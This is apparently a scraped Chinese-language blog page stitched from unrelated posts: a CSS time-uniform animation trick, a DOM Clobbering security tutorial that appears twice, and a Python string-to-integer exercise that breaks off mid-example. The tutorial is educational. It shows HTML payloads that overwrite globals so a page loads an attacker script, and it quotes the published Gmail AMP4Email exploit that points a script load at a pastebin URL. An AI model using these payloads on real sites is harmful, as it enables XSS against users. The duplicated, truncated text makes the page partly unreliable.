本週最後一個要分享的是從 css-doodle 的作者 blog 上看到的小技巧,這是作者發現在電腦視覺的 Shader 中,經常利用 Time Uniforms 的方式去控制動畫,這跟一般 CSS @keyframes 透過指定各時間點的屬性變化,利用 interpolation 來形成動畫的方式是不同的思考方式。
然而在 Web 世界中,其實能利用 CSS Houdini 的 @property API 與 CSS @Keyframes
,製作出一個能隨著時間變化其值的 custom property,如此一來就能達成類似 time uniforms 的方法,統一依照時間來控制所有 DOM 物件的動畫:
首先利用 @property
API 客製化屬性:
@property --t {
syntax: "<number>";
initial-value: 0;
inherits: true;
}
透過 @keyfames
來 anitmate 客制屬性,這邊時間用 31536000000
是因為作者想營造無限時間的動畫,用一年為區間算是個很足夠長的模擬方式:
@keyframes animate-time {
from { --t: 0 }
to { --t: 31536000000 }
}
最後將 keyframes 動畫放到 :root
中,這樣所有的 css class 所吃到的 --t
就會是不斷隨著時間而更動的值,此外, anmiation 的 druation 同樣設為一年,時間才會同步:
:root {
animation: animate-time 31536000000ms linear infinite;
}
最後在任意的 element 上頭,只要利用變動的 --t
就能在不另外指定 keyframes 的狀況下一樣產生動畫:
element {
transform: rotate(
calc(var(--t) / 1000 / 10 * 1turn)
);
}
同樣的 --t
值,同時套用在其他元素動畫上時,就能營造出利用 time uniforms 來製造動畫的效果。
附上作者的 codepen 範例:
See the Pen Demo #1 for article (Chrome only) by yuanchuan (@yuanchuan) on CodePen.
今天分享了三個我這週發現的有趣特效與小技巧,雖然沒有自己真正實作,但觀摩別人的創意與程式碼也能學習到非常多,除了當工作上需要使用到類似效果時,會有印象可以怎麼做之外,或許也能讓你舉一反三,融合這些技巧,製作出別出心裁的特效也說不定呢!
說身為一個前端工程師,理所當然會知道很多與前端相關的知識,像是 HTML 或是 JS 相關的東西,但那些知識通常都與「使用」有關。例如說我知道寫 HTML 的時候要 semantic,要使用正確的標籤;我知道 JS 應該要怎麼用。可是呢,有些知識雖然也跟網頁有關,卻不是前端工程師平常會接觸到的。
我所謂的「有些知識」,指的其實是「資訊安全相關的知識」。有些在資訊安全裡面常見的觀念,雖然跟網頁有關,卻是我們不太熟悉的東西,而我認為理解這些其實是很重要的。因為你必須懂得怎麼攻擊才能防禦,要先知道攻擊手法跟原理,才知道該怎麼防範這些攻擊。
在正式開始之前,先給大家一個趣味題目小試身手。
假設你有一段程式碼,有一個按鈕以及一段 script,如下所示:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
</head>
<body>
<button id="btn">click me</button>
<script>
// TODO: add click event listener to button
</script>
</body>
</html>
現在請你嘗試用「最短的程式碼」,實作出「點下按鈕時會跳出 alert(1)」這個功能。
舉例來說,這樣寫可以達成目標:
document.getElementById('btn')
.addEventListener('click', () => {
alert(1)
})
那如果要讓程式碼最短,你的答案會是什麼?
大家可以在往下看以前先想一下這個問題,想好以後就讓我們正式開始吧!
防雷
.
.
.
.
.
.
.
.
.
.
.
.
.
你知道 DOM 裡面的東西,有可能影響到 window 嗎?
這個行為是我幾年前在臉書的前端社群無意間得知的,那就是你在 HTML 裡面設定一個有 id 的元素之後,在 JS 裡面就可以直接存取到它:
<button id="btn">click me</button>
<script>
console.log(window.btn) // <button id="btn">click me</button>
</script>
然後因為 JS 的 scope,所以你就算直接用 btn
也可以,因為當前的 scope 找不到就會往上找,一路找到 window。
所以開頭那題,答案是:
btn.onclick = () => alert(1)
不需要 getElementById,也不需要 querySelector,只要直接用跟 id 同名的變數去拿,就可以拿得到。應該不會有比這個更短的程式碼了(有的話歡迎留言打臉我QQ)
而這個行為是有明確定義在 spec 上的,在 7.3.3 Named access on the Window object:
幫大家節錄兩個重點:
embed
, form
, img
, and object
elements that have a non-empty name content attributeid
content attribute for all HTML elements that have a non-empty id content attribute也就是說除了 id 可以直接用 window 存取到以外,embed
, form
, img
跟 object
這四個 tag 用 name 也可以存取到:
<embed name="a"></embed>
<form name="b"></form>
<img name="c" />
<object name="d"></object>
但是知道這個有什麼用呢?有,理解這個規格之後,我們可以得出一個結論:
我們是有機會透過 HTML 元素來影響 JS 的
而這個手法用在攻擊上,就是標題的 DOM Clobbering。之前是因為這個攻擊才第一次聽到 clobbering 這個單字的,去查一下發現在 CS 領域中有覆蓋的意思,就是透過 DOM 把一些東西覆蓋掉以達成攻擊的手段。
那在什麼場景之下有機會用 DOM Clobbering 攻擊呢?
首先,你必須有機會在頁面上顯示你自訂的 HTML,否則就沒有辦法了。所以一個可以攻擊的場景可能會像是這樣:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
</head>
<body>
<h1>留言板</h1>
<div>
你的留言:哈囉大家好
</div>
<script>
if (window.TEST_MODE) {
// load test script
var script = document.createElement('script')
script.src = window.TEST_SCRIPT_SRC
document.body.appendChild(script)
}
</script>
</body>
</html>
假設現在有一個留言板,你可以輸入任意內容,但是你的輸入在 server 端會透過 DOMPurify 來做處理,把任何可以執行 JavaScript 的東西給拿掉,所以 <script></script>
會被刪掉,<img src=x onerror=alert(1)>
的 onerror
會被拿掉,還有許多 XSS payload 都沒有辦法過關。
簡而言之,你沒辦法執行 JavaScript 來達成 XSS,因為這些都被過濾掉了。
但是因為種種因素,並不會過濾掉 HTML 標籤,所以你可以做的事情是顯示自訂的 HTML。只要沒有執行 JS,你想要插入什麼 HTML 標籤,設置什麼屬性都可以。
所以呢,你可以這樣做:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
</head>
<body>
<h1>留言板</h1>
<div>
你的留言:<div id="TEST_MODE"></div>
<a id="TEST_SCRIPT_SRC" href="my_evil_script"></a>
</div>
<script>
if (window.TEST_MODE) {
// load test script
var script = document.createElement('script')
script.src = window.TEST_SCRIPT_SRC
document.body.appendChild(script)
}
</script>
</body>
</html>
根據我們上面所得到的知識,可以插入一個 id 是 TEST_MODE 的標籤 <div id="TEST_MODE"></div>
,這樣底下 JS 的 if (window.TEST_MODE)
就會過關,因為 window.TEST_MODE
會是這個 div 元素。
再來我們可以用 <a id="TEST_SCRIPT_SRC" href="my_evil_script"></a>
,來讓 window.TEST_SCRIPT_SRC
轉成字串之後變成我們想要的字。
在大多數的狀況中,只是把一個變數覆蓋成 HTML 元素是不夠的,例如說你把上面那段程式碼當中的 window.TEST_MODE 轉成字串印出來:
// <div id="TEST_MODE" />
console.log(window.TEST_MODE + '')
結果會是:[object HTMLDivElement]
。
把一個 HTML 元素轉成字串就是這樣,會變成這種形式,如果是這樣的話那基本上沒辦法利用。但幸好在 HTML 裡面有兩個元素在 toString 的時候會做特殊處理:<base>
跟 <a>
:
來源:4.6.3 API for a and area elements
這兩個元素在 toString 的時候會回傳 URL,而我們可以透過 href 屬性來設置 URL,就可以讓 toString 之後的內容可控。
所以綜合以上手法,我們學到了:
透過上面這兩個手法再搭配適合的場景,就有機會利用 DOM Clobbering 來做攻擊。
不過這邊要提醒大家一件事,如果你想攻擊的變數已經存在的話,你用 DOM 是覆蓋不掉的,例如說:
<!DOCTYPE html>
<html>
<head>
<script>
TEST_MODE = 1
</script>
</head>
<body>
<div id="TEST_MODE"></div>
<script>
console.log(window.TEST_MODE) // 1
</script>
</body>
</html>
在前面的範例中,我們用 DOM 把 window.TEST_MODE
蓋掉,創造出未預期的行為。那如果要蓋掉的對象是個物件,有機會嗎?
例如說 window.config.isTest
,這樣也可以用 DOM clobbering 蓋掉嗎?
有幾種方法可以蓋掉,第一種是利用 HTML 標籤的層級關係,具有這樣特性的是 form,表單這個元素:
在 HTML 的 spec 中有這樣一段:
可以利用 form[name]
或是 form[id]
去拿它底下的元素,例如說:
<!DOCTYPE html>
<html>
<body>
<form id="config">
<input name="isTest" />
<button id="isProd"></button>
</form>
<script>
console.log(config) // <form id="config">
console.log(config.isTest) // <input name="isTest" />
console.log(config.isProd) // <button id="isProd"></button>
</script>
</body>
</html>
如此一來就可以構造出兩層的 DOM clobbering。不過有一點要注意,那就是這邊沒有 a 可以用,所以 toString 之後都會變成沒辦法利用的形式。
這邊比較有可能利用的機會是,當你要覆蓋的東西是用 value
存取的時候,例如說:config.enviroment.value
,就可以利用 input 的 value 屬性做覆蓋:
<!DOCTYPE html>
<html>
<body>
<form id="config">
<input name="enviroment" value="test" />
</form>
<script>
console.log(config.enviroment.value) // test
</script>
</body>
</html>
簡單來說呢,就是只有那些內建的屬性可以覆蓋,其他是沒有辦法的。
除了利用 HTML 本身的層級以外,還可以利用另外一個特性:HTMLCollection。
在我們稍早看到的關於 Named access on the Window object
的 spec 當中,決定值是什麼的段落是這樣寫的:
如果要回傳的東西有多個,就回傳 HTMLCollection。
<!DOCTYPE html>
<html>
<body>
<a id="config"></a>
<a id="config"></a>
<script>
console.log(config) // HTMLCollection(2)
</script>
</body>
</html>
那有了 HTMLCollection 之後可以做什麼呢?在 4.2.10.2. Interface HTMLCollection 中有寫到,可以利用 name 或是 id 去拿 HTMLCollection 裡面的元素。
像是這樣:
<!DOCTYPE html>
<html>
<body>
<a id="config"></a>
<a id="config" name="apiUrl" href="https://huli.tw"></a>
<script>
console.log(config.apiUrl + '')
// https://huli.tw
</script>
</body>
</html>
就可以透過同名的 id 產生出 HTMLCollection,再用 name 來抓取 HTMLCollection 的特定元素,一樣可以達到兩層的效果。
而如果我們把 form 跟 HTMLCollection 結合在一起,就能夠達成三層:
<!DOCTYPE html>
<html>
<body>
<form id="config"></form>
<form id="config" name="prod">
<input name="apiUrl" value="123" />
</form>
<script>
console.log(config.prod.apiUrl.value) //123
</script>
</body>
</html>
先利用同名的 id,讓 config
可以拿到 HTMLCollection,再來用 config.prod
就可以拿到 HTMLCollection 中 name 是 prod 的元素,也就是那個 form,接著就是 form.apiUrl
拿到表單底下的 input,最後用 value 拿到裡面的屬性。
所以如果最後要拿的屬性是 HTML 的屬性,就可以四層,否則的話就只能三層。
前面提到三層或是有條件的四層已經是極限了,那有沒有辦法再突破限制呢?
根據 DOM Clobbering strikes back 裡面給的做法,有,利用 iframe 就可以達到!
當你建了一個 iframe 並且給它一個 name 的時候,用這個 name 就可以指到 iframe 裡面的 window,所以可以像這樣:
<!DOCTYPE html>
<html>
<body>
<iframe name="config" srcdoc='
<a id="apiUrl"></a>
'></iframe>
<script>
setTimeout(() => {
console.log(config.apiUrl) // <a id="apiUrl"></a>
}, 500)
</script>
</body>
</html>
這邊之所以會需要 setTimeout 是因為 iframe 並不是同步載入的,所以需要一些時間才能正確抓到 iframe 裡面的東西。
有了 iframe 的幫助之後,就可以創造出更多層級:
<!DOCTYPE html>
<html>
<body>
<iframe name="moreLevel" srcdoc='
<form id="config"></form>
<form id="config" name="prod">
<input name="apiUrl" value="123" />
</form>
'></iframe>
<script>
setTimeout(() => {
console.log(moreLevel.config.prod.apiUrl.value) //123
}, 500)
</script>
</body>
</html>
理論上你可以在 iframe 裡面再用一個 iframe,就可以達成無限多層級的 DOM clobbering,不過我試了一下發現可能有點編碼的問題需要處理,例如說像是這樣:
<!DOCTYPE html>
<html>
<body>
<iframe name="level1" srcdoc='
<iframe name="level2" srcdoc="
<iframe name="level3"></iframe>
"></iframe>
'></iframe>
<script>
setTimeout(() => {
console.log(level1.level2.level3) // undefined
}, 500)
</script>
</body>
</html>
印出來會是 undefined,但如果把 level3 的那兩個雙引號拿掉,直接寫成 name=level3
就可以成功印出東西來,我猜是因為單引號雙引號的一些解析問題造成的,目前還沒找到什麼解法,只嘗試了這樣是 ok 的,但是再往下就出錯了:
<!DOCTYPE html>
<html>
<body>
<iframe name="level1" srcdoc="
<iframe name="level2" srcdoc="
<iframe name='level3' srcdoc='
<iframe name=level4></iframe>
'></iframe>
"></iframe>
"></iframe>
<script>
setTimeout(() => {
console.log(level1.level2.level3.level4)
}, 500)
</script>
</body>
</html>
但現實生活中應該也不會到這麼深的層級啦,所以四層頂多五層就已經很夠用了。
2021-08-14 補充:
感謝朋友的告知,用這樣就可以無限多層了
<iframe name=a srcdoc="
<iframe name=b srcdoc="
<iframe name=c srcdoc=&quot;
<iframe name=d srcdoc=&amp;quot;
<iframe name=e srcdoc=&amp;amp;quot;
<iframe name=f srcdoc=&amp;amp;amp;quot;
<div id=g>123</div>
&amp;amp;amp;quot;></iframe>
&amp;amp;quot;></iframe>
&amp;quot;></iframe>
&quot;></iframe>
"></iframe>
"></iframe>
在 2019 年的時候 Gmail 有一個漏洞就是透過 DOM clobbering 來攻擊的,完整的 write up 在這邊:XSS in GMail’s AMP4Email via DOM Clobbering,底下我就稍微講一下過程(內容都取材自上面這篇文章)。
簡單來說呢,在 Gmail 裡面你可以使用部分 AMP 的功能,然後 Google 針對這個格式的 validator 很嚴謹,所以沒有辦法透過一般的方法 XSS。
但是有人發現可以在 HTML 元素上面設置 id,又發現當他設置了一個 <a id="AMP_MODE">
之後,console 突然出現一個載入 script 的錯誤,而且網址中的其中一段是 undefined。仔細去研究程式碼之後,有一段程式碼大概是這樣的:
var script = window.document.createElement("script");
script.async = false;
var loc;
if (AMP_MODE.test && window.testLocation) {
loc = window.testLocation
} else {
loc = window.location;
}
if (AMP_MODE.localDev) {
loc = loc.protocol + "//" + loc.host + "/dist"
} else {
loc = "https://cdn.ampproject.org";
}
var singlePass = AMP_MODE.singlePassType ? AMP_MODE.singlePassType + "/" : "";
b.src = loc + "/rtv/" + AMP_MODE.rtvVersion; + "/" + singlePass + "v0/" + pluginName + ".js";
document.head.appendChild(b);
如果我們能讓 AMP_MODE.test
跟 AMP_MODE.localDev
都是 truthy 的話,再搭配設置 window.testLocation
,就能夠載入任意的 script!
所以 exploit 會長的像這樣:
// 讓 AMP_MODE.test 跟 AMP_MODE.localDev 有東西
<a id="AMP_MODE" name="localDev"></a>
<a id="AMP_MODE" name="test"></a>
// 設置 testLocation.protocol
<a id="testLocation"></a>
<a id="testLocation" name="protocol"
href="https://pastebin.com/raw/0tn8z0rG#"></a>
最後就能成功載入任意 script,進而達成 XSS!(不過當初作者只有試到這一步就被 CSP 擋住了)。
這應該是 DOM Clobbering 最有名的案例之一了。
雖然說 DOM Clobbering 的使用場合有限,但真的是個相當有趣的攻擊方式!而且如果你不知道這個 feature 的話,可能完全沒想過可以透過 HTML 來影響全域變數的內容。
如果對這個攻擊手法有興趣的,可以參考 PortSwigger 的文章,裡面提供了兩個 lab 讓大家親自嘗試這個攻擊手法,光看是沒用的,要實際下去攻擊才更能體會。
參考資料:
說身為一個前端工程師,理所當然會知道很多與前端相關的知識,像是 HTML 或是 JS 相關的東西,但那些知識通常都與「使用」有關。例如說我知道寫 HTML 的時候要 semantic,要使用正確的標籤;我知道 JS 應該要怎麼用。可是呢,有些知識雖然也跟網頁有關,卻不是前端工程師平常會接觸到的。
我所謂的「有些知識」,指的其實是「資訊安全相關的知識」。有些在資訊安全裡面常見的觀念,雖然跟網頁有關,卻是我們不太熟悉的東西,而我認為理解這些其實是很重要的。因為你必須懂得怎麼攻擊才能防禦,要先知道攻擊手法跟原理,才知道該怎麼防範這些攻擊。
在正式開始之前,先給大家一個趣味題目小試身手。
假設你有一段程式碼,有一個按鈕以及一段 script,如下所示:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
</head>
<body>
<button id="btn">click me</button>
<script>
// TODO: add click event listener to button
</script>
</body>
</html>
現在請你嘗試用「最短的程式碼」,實作出「點下按鈕時會跳出 alert(1)」這個功能。
舉例來說,這樣寫可以達成目標:
document.getElementById('btn')
.addEventListener('click', () => {
alert(1)
})
那如果要讓程式碼最短,你的答案會是什麼?
大家可以在往下看以前先想一下這個問題,想好以後就讓我們正式開始吧!
防雷
.
.
.
.
.
.
.
.
.
.
.
.
.
你知道 DOM 裡面的東西,有可能影響到 window 嗎?
這個行為是我幾年前在臉書的前端社群無意間得知的,那就是你在 HTML 裡面設定一個有 id 的元素之後,在 JS 裡面就可以直接存取到它:
<button id="btn">click me</button>
<script>
console.log(window.btn) // <button id="btn">click me</button>
</script>
然後因為 JS 的 scope,所以你就算直接用 btn
也可以,因為當前的 scope 找不到就會往上找,一路找到 window。
所以開頭那題,答案是:
btn.onclick = () => alert(1)
不需要 getElementById,也不需要 querySelector,只要直接用跟 id 同名的變數去拿,就可以拿得到。應該不會有比這個更短的程式碼了(有的話歡迎留言打臉我QQ)
而這個行為是有明確定義在 spec 上的,在 7.3.3 Named access on the Window object:
幫大家節錄兩個重點:
embed
, form
, img
, and object
elements that have a non-empty name content attributeid
content attribute for all HTML elements that have a non-empty id content attribute也就是說除了 id 可以直接用 window 存取到以外,embed
, form
, img
跟 object
這四個 tag 用 name 也可以存取到:
<embed name="a"></embed>
<form name="b"></form>
<img name="c" />
<object name="d"></object>
但是知道這個有什麼用呢?有,理解這個規格之後,我們可以得出一個結論:
我們是有機會透過 HTML 元素來影響 JS 的
而這個手法用在攻擊上,就是標題的 DOM Clobbering。之前是因為這個攻擊才第一次聽到 clobbering 這個單字的,去查一下發現在 CS 領域中有覆蓋的意思,就是透過 DOM 把一些東西覆蓋掉以達成攻擊的手段。
那在什麼場景之下有機會用 DOM Clobbering 攻擊呢?
首先,你必須有機會在頁面上顯示你自訂的 HTML,否則就沒有辦法了。所以一個可以攻擊的場景可能會像是這樣:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
</head>
<body>
<h1>留言板</h1>
<div>
你的留言:哈囉大家好
</div>
<script>
if (window.TEST_MODE) {
// load test script
var script = document.createElement('script')
script.src = window.TEST_SCRIPT_SRC
document.body.appendChild(script)
}
</script>
</body>
</html>
假設現在有一個留言板,你可以輸入任意內容,但是你的輸入在 server 端會透過 DOMPurify 來做處理,把任何可以執行 JavaScript 的東西給拿掉,所以 <script></script>
會被刪掉,<img src=x onerror=alert(1)>
的 onerror
會被拿掉,還有許多 XSS payload 都沒有辦法過關。
簡而言之,你沒辦法執行 JavaScript 來達成 XSS,因為這些都被過濾掉了。
但是因為種種因素,並不會過濾掉 HTML 標籤,所以你可以做的事情是顯示自訂的 HTML。只要沒有執行 JS,你想要插入什麼 HTML 標籤,設置什麼屬性都可以。
所以呢,你可以這樣做:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
</head>
<body>
<h1>留言板</h1>
<div>
你的留言:<div id="TEST_MODE"></div>
<a id="TEST_SCRIPT_SRC" href="my_evil_script"></a>
</div>
<script>
if (window.TEST_MODE) {
// load test script
var script = document.createElement('script')
script.src = window.TEST_SCRIPT_SRC
document.body.appendChild(script)
}
</script>
</body>
</html>
根據我們上面所得到的知識,可以插入一個 id 是 TEST_MODE 的標籤 <div id="TEST_MODE"></div>
,這樣底下 JS 的 if (window.TEST_MODE)
就會過關,因為 window.TEST_MODE
會是這個 div 元素。
再來我們可以用 <a id="TEST_SCRIPT_SRC" href="my_evil_script"></a>
,來讓 window.TEST_SCRIPT_SRC
轉成字串之後變成我們想要的字。
在大多數的狀況中,只是把一個變數覆蓋成 HTML 元素是不夠的,例如說你把上面那段程式碼當中的 window.TEST_MODE 轉成字串印出來:
// <div id="TEST_MODE" />
console.log(window.TEST_MODE + '')
結果會是:[object HTMLDivElement]
。
把一個 HTML 元素轉成字串就是這樣,會變成這種形式,如果是這樣的話那基本上沒辦法利用。但幸好在 HTML 裡面有兩個元素在 toString 的時候會做特殊處理:<base>
跟 <a>
:
來源:4.6.3 API for a and area elements
這兩個元素在 toString 的時候會回傳 URL,而我們可以透過 href 屬性來設置 URL,就可以讓 toString 之後的內容可控。
所以綜合以上手法,我們學到了:
透過上面這兩個手法再搭配適合的場景,就有機會利用 DOM Clobbering 來做攻擊。
不過這邊要提醒大家一件事,如果你想攻擊的變數已經存在的話,你用 DOM 是覆蓋不掉的,例如說:
<!DOCTYPE html>
<html>
<head>
<script>
TEST_MODE = 1
</script>
</head>
<body>
<div id="TEST_MODE"></div>
<script>
console.log(window.TEST_MODE) // 1
</script>
</body>
</html>
在前面的範例中,我們用 DOM 把 window.TEST_MODE
蓋掉,創造出未預期的行為。那如果要蓋掉的對象是個物件,有機會嗎?
例如說 window.config.isTest
,這樣也可以用 DOM clobbering 蓋掉嗎?
有幾種方法可以蓋掉,第一種是利用 HTML 標籤的層級關係,具有這樣特性的是 form,表單這個元素:
在 HTML 的 spec 中有這樣一段:
可以利用 form[name]
或是 form[id]
去拿它底下的元素,例如說:
<!DOCTYPE html>
<html>
<body>
<form id="config">
<input name="isTest" />
<button id="isProd"></button>
</form>
<script>
console.log(config) // <form id="config">
console.log(config.isTest) // <input name="isTest" />
console.log(config.isProd) // <button id="isProd"></button>
</script>
</body>
</html>
如此一來就可以構造出兩層的 DOM clobbering。不過有一點要注意,那就是這邊沒有 a 可以用,所以 toString 之後都會變成沒辦法利用的形式。
這邊比較有可能利用的機會是,當你要覆蓋的東西是用 value
存取的時候,例如說:config.enviroment.value
,就可以利用 input 的 value 屬性做覆蓋:
<!DOCTYPE html>
<html>
<body>
<form id="config">
<input name="enviroment" value="test" />
</form>
<script>
console.log(config.enviroment.value) // test
</script>
</body>
</html>
簡單來說呢,就是只有那些內建的屬性可以覆蓋,其他是沒有辦法的。
除了利用 HTML 本身的層級以外,還可以利用另外一個特性:HTMLCollection。
在我們稍早看到的關於 Named access on the Window object
的 spec 當中,決定值是什麼的段落是這樣寫的:
如果要回傳的東西有多個,就回傳 HTMLCollection。
<!DOCTYPE html>
<html>
<body>
<a id="config"></a>
<a id="config"></a>
<script>
console.log(config) // HTMLCollection(2)
</script>
</body>
</html>
那有了 HTMLCollection 之後可以做什麼呢?在 4.2.10.2. Interface HTMLCollection 中有寫到,可以利用 name 或是 id 去拿 HTMLCollection 裡面的元素。
像是這樣:
<!DOCTYPE html>
<html>
<body>
<a id="config"></a>
<a id="config" name="apiUrl" href="https://huli.tw"></a>
<script>
console.log(config.apiUrl + '')
// https://huli.tw
</script>
</body>
</html>
就可以透過同名的 id 產生出 HTMLCollection,再用 name 來抓取 HTMLCollection 的特定元素,一樣可以達到兩層的效果。
而如果我們把 form 跟 HTMLCollection 結合在一起,就能夠達成三層:
<!DOCTYPE html>
<html>
<body>
<form id="config"></form>
<form id="config" name="prod">
<input name="apiUrl" value="123" />
</form>
<script>
console.log(config.prod.apiUrl.value) //123
</script>
</body>
</html>
先利用同名的 id,讓 config
可以拿到 HTMLCollection,再來用 config.prod
就可以拿到 HTMLCollection 中 name 是 prod 的元素,也就是那個 form,接著就是 form.apiUrl
拿到表單底下的 input,最後用 value 拿到裡面的屬性。
所以如果最後要拿的屬性是 HTML 的屬性,就可以四層,否則的話就只能三層。
前面提到三層或是有條件的四層已經是極限了,那有沒有辦法再突破限制呢?
根據 DOM Clobbering strikes back 裡面給的做法,有,利用 iframe 就可以達到!
當你建了一個 iframe 並且給它一個 name 的時候,用這個 name 就可以指到 iframe 裡面的 window,所以可以像這樣:
<!DOCTYPE html>
<html>
<body>
<iframe name="config" srcdoc='
<a id="apiUrl"></a>
'></iframe>
<script>
setTimeout(() => {
console.log(config.apiUrl) // <a id="apiUrl"></a>
}, 500)
</script>
</body>
</html>
這邊之所以會需要 setTimeout 是因為 iframe 並不是同步載入的,所以需要一些時間才能正確抓到 iframe 裡面的東西。
有了 iframe 的幫助之後,就可以創造出更多層級:
<!DOCTYPE html>
<html>
<body>
<iframe name="moreLevel" srcdoc='
<form id="config"></form>
<form id="config" name="prod">
<input name="apiUrl" value="123" />
</form>
'></iframe>
<script>
setTimeout(() => {
console.log(moreLevel.config.prod.apiUrl.value) //123
}, 500)
</script>
</body>
</html>
理論上你可以在 iframe 裡面再用一個 iframe,就可以達成無限多層級的 DOM clobbering,不過我試了一下發現可能有點編碼的問題需要處理,例如說像是這樣:
<!DOCTYPE html>
<html>
<body>
<iframe name="level1" srcdoc='
<iframe name="level2" srcdoc="
<iframe name="level3"></iframe>
"></iframe>
'></iframe>
<script>
setTimeout(() => {
console.log(level1.level2.level3) // undefined
}, 500)
</script>
</body>
</html>
印出來會是 undefined,但如果把 level3 的那兩個雙引號拿掉,直接寫成 name=level3
就可以成功印出東西來,我猜是因為單引號雙引號的一些解析問題造成的,目前還沒找到什麼解法,只嘗試了這樣是 ok 的,但是再往下就出錯了:
<!DOCTYPE html>
<html>
<body>
<iframe name="level1" srcdoc="
<iframe name="level2" srcdoc="
<iframe name='level3' srcdoc='
<iframe name=level4></iframe>
'></iframe>
"></iframe>
"></iframe>
<script>
setTimeout(() => {
console.log(level1.level2.level3.level4)
}, 500)
</script>
</body>
</html>
但現實生活中應該也不會到這麼深的層級啦,所以四層頂多五層就已經很夠用了。
2021-08-14 補充:
感謝朋友的告知,用這樣就可以無限多層了
<iframe name=a srcdoc="
<iframe name=b srcdoc="
<iframe name=c srcdoc=&quot;
<iframe name=d srcdoc=&amp;quot;
<iframe name=e srcdoc=&amp;amp;quot;
<iframe name=f srcdoc=&amp;amp;amp;quot;
<div id=g>123</div>
&amp;amp;amp;quot;></iframe>
&amp;amp;quot;></iframe>
&amp;quot;></iframe>
&quot;></iframe>
"></iframe>
"></iframe>
在 2019 年的時候 Gmail 有一個漏洞就是透過 DOM clobbering 來攻擊的,完整的 write up 在這邊:XSS in GMail’s AMP4Email via DOM Clobbering,底下我就稍微講一下過程(內容都取材自上面這篇文章)。
簡單來說呢,在 Gmail 裡面你可以使用部分 AMP 的功能,然後 Google 針對這個格式的 validator 很嚴謹,所以沒有辦法透過一般的方法 XSS。
但是有人發現可以在 HTML 元素上面設置 id,又發現當他設置了一個 <a id="AMP_MODE">
之後,console 突然出現一個載入 script 的錯誤,而且網址中的其中一段是 undefined。仔細去研究程式碼之後,有一段程式碼大概是這樣的:
var script = window.document.createElement("script");
script.async = false;
var loc;
if (AMP_MODE.test && window.testLocation) {
loc = window.testLocation
} else {
loc = window.location;
}
if (AMP_MODE.localDev) {
loc = loc.protocol + "//" + loc.host + "/dist"
} else {
loc = "https://cdn.ampproject.org";
}
var singlePass = AMP_MODE.singlePassType ? AMP_MODE.singlePassType + "/" : "";
b.src = loc + "/rtv/" + AMP_MODE.rtvVersion; + "/" + singlePass + "v0/" + pluginName + ".js";
document.head.appendChild(b);
如果我們能讓 AMP_MODE.test
跟 AMP_MODE.localDev
都是 truthy 的話,再搭配設置 window.testLocation
,就能夠載入任意的 script!
所以 exploit 會長的像這樣:
// 讓 AMP_MODE.test 跟 AMP_MODE.localDev 有東西
<a id="AMP_MODE" name="localDev"></a>
<a id="AMP_MODE" name="test"></a>
// 設置 testLocation.protocol
<a id="testLocation"></a>
<a id="testLocation" name="protocol"
href="https://pastebin.com/raw/0tn8z0rG#"></a>
最後就能成功載入任意 script,進而達成 XSS!(不過當初作者只有試到這一步就被 CSP 擋住了)。
這應該是 DOM Clobbering 最有名的案例之一了。
雖然說 DOM Clobbering 的使用場合有限,但真的是個相當有趣的攻擊方式!而且如果你不知道這個 feature 的話,可能完全沒想過可以透過 HTML 來影響全域變數的內容。
如果對這個攻擊手法有興趣的,可以參考 PortSwigger 的文章,裡面提供了兩個 lab 讓大家親自嘗試這個攻擊手法,光看是沒用的,要實際下去攻擊才更能體會。
參考資料:
在軟體工程師和程式設計的工作或面試的過程中不會總是面對到只有簡單邏輯判斷或計算的功能,此時就會需要運用到演算法和資料結構的知識。本系列文將整理程式設計的工作或面試入門常見的程式解題問題和讀者一起探討,研究可能的解決方式(主要使用的程式語言為 Python)。其中字串處理操作是程式設計日常中常見的使用情境,本文繼續將從簡單的字串處理問題開始進行介紹。
要注意的是在 Python 的字串物件 str
是 immutable
不可變的,字串中的字元是無法單獨更改變換。
舉例來說,以下的第一個指定字元變數行為是不被允許的,但整體字串重新賦值指定另外一個字串物件是可以的:
name = 'Jack'
# 錯誤
name[0] = 'L'
# 正確
name = 'Leo'
執行結果:
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: 'str' object does not support item assignment
Problem: String to Integer (atoi)
Implement the myAtoi(string s)
function, which converts a string to a 32-bit signed integer (similar to C/C++'s atoi
function).
The algorithm for myAtoi(string s)
is as follows:
[-2^31, 2^31 - 1]
, then clamp the integer so that it remains in the range. Specifically, integers less than -2^31
should be clamped to -2^31
, and integers greater than 2^31 - 1
should be clamped to 2^31 - 1
.Note:
Only the space character ' '
is considered a whitespace character.
Do not ignore any characters other than the leading whitespace or the rest of the string after the digits.
Example 1:
Input: str = "42"
Output: 42
Explanation: The underlined characters are what is read in, the caret is the current reader position.
Step 1: "42" (no characters read because there is no leading whitespace)
^
Step 2: "42" (no characters read because there is neither a '-' nor '+')
^
Step 3: "42" ("42" is read in)
^
The parsed integer is 42.
Since 42 is in the range [-2^31, 2^31 - 1], the final result is 42.
Example 2:
Input: str = " -42"
Output: -42
Explanation:
Step 1: " -42" (leading whitespace is read and ignored)
^
Step 2: " -42" ('-' is read, so the result should be negative)
^
Step 3: " -42" ("42" is read in)
^
The parsed integer is -42.
Since -42 is in the range [-2^31, 2^31 - 1], the final result is -42.
Example 3:
Input: str = "4193 with words"
Output: 4193
Explanation:
Step 1: "4193 with words" (no characters read because there is no leading whitespace)
^
Step 2: "4193 with words" (no characters read because there is neither a '-' nor '+')
^
Step 3: "4193 with words" ("4193" is read in; reading stops because the next character is a non-digit)
^
The parsed integer is 4193.
Since 4193 is in the range [-2^31, 2^31 - 1], the final result is 4193.
Example 4:
Input: str = "words and 987"
Output: 0
Explanation:
Step 1: "words and 987" (no characters read because there is no leading whitespace)
^
Step 2: "words and 987" (no characters read because there is neither a '-' nor '+')
^
Step 3: "words and 987" (reading stops immediately because there is a non-digit 'w')
^
The parsed integer is 0 because no digits were read.
Since 0 is in the range [-2^31, 2^31 - 1], the final result is 4193.
Example 5:
Input: str = "-91283472332"
Output: -2147483648
Explanation:
